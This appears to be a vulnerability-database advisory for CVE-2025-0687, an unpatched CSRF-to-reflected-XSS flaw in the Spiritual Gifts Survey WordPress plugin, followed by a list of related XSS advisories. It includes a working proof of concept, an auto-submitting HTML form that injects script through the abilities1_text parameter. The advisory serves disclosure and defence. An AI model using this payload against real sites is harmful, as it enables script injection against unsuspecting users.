Spiritual Gifts Survey <= 0.9.10 – Unauthenticated CSRF to XSS | CVE 2025-0687 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against only unauthenticated users.

Proof of Concept

Have someone open an HTML file containing:

```
<html><body><form action="http://example.com/wp-content/plugins/spiritual-gifts-survey/gifts-email.php" method="POST"><input type="hidden" name="abilities1_text" value="</script><script>alert(1)</script><script>" /><input type="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
```

Affects Plugins

spiritual-gifts-survey

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Hassan Khan Yusufzai - Splint3r7

Submitter

Hassan Khan Yusufzai - Splint3r7

Submitter website

https://hassankhanyusufzai.com

Submitter twitter

Verified

Yes

WPVDB ID

3c1e21e1-32f2-4a20-9262-80e1cdab534d

Timeline

Publicly Published

2025-01-02 (about 11 months ago)

Added

2025-02-04 (about 10 months ago)

Last Updated

2025-02-04 (about 10 months ago)

Other

Published

Title

Published

2025-01-16

Title

MyBookProgress by Stormhill Media <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via book Parameter

Published

2014-10-18

Title

Contact Form Integrated With Google Maps 1.0-2.4 - Stored Cross-Site Scripting (XSS)

Published

2024-06-21

Title

Grey Opaque <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Download-Button Shortcode

Published

2025-04-16

Title

Responsive Blocks < 2.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-04-26

Title

Fan Page Widget by ThemeNcode < 2.1 - Admin+ Stored XSS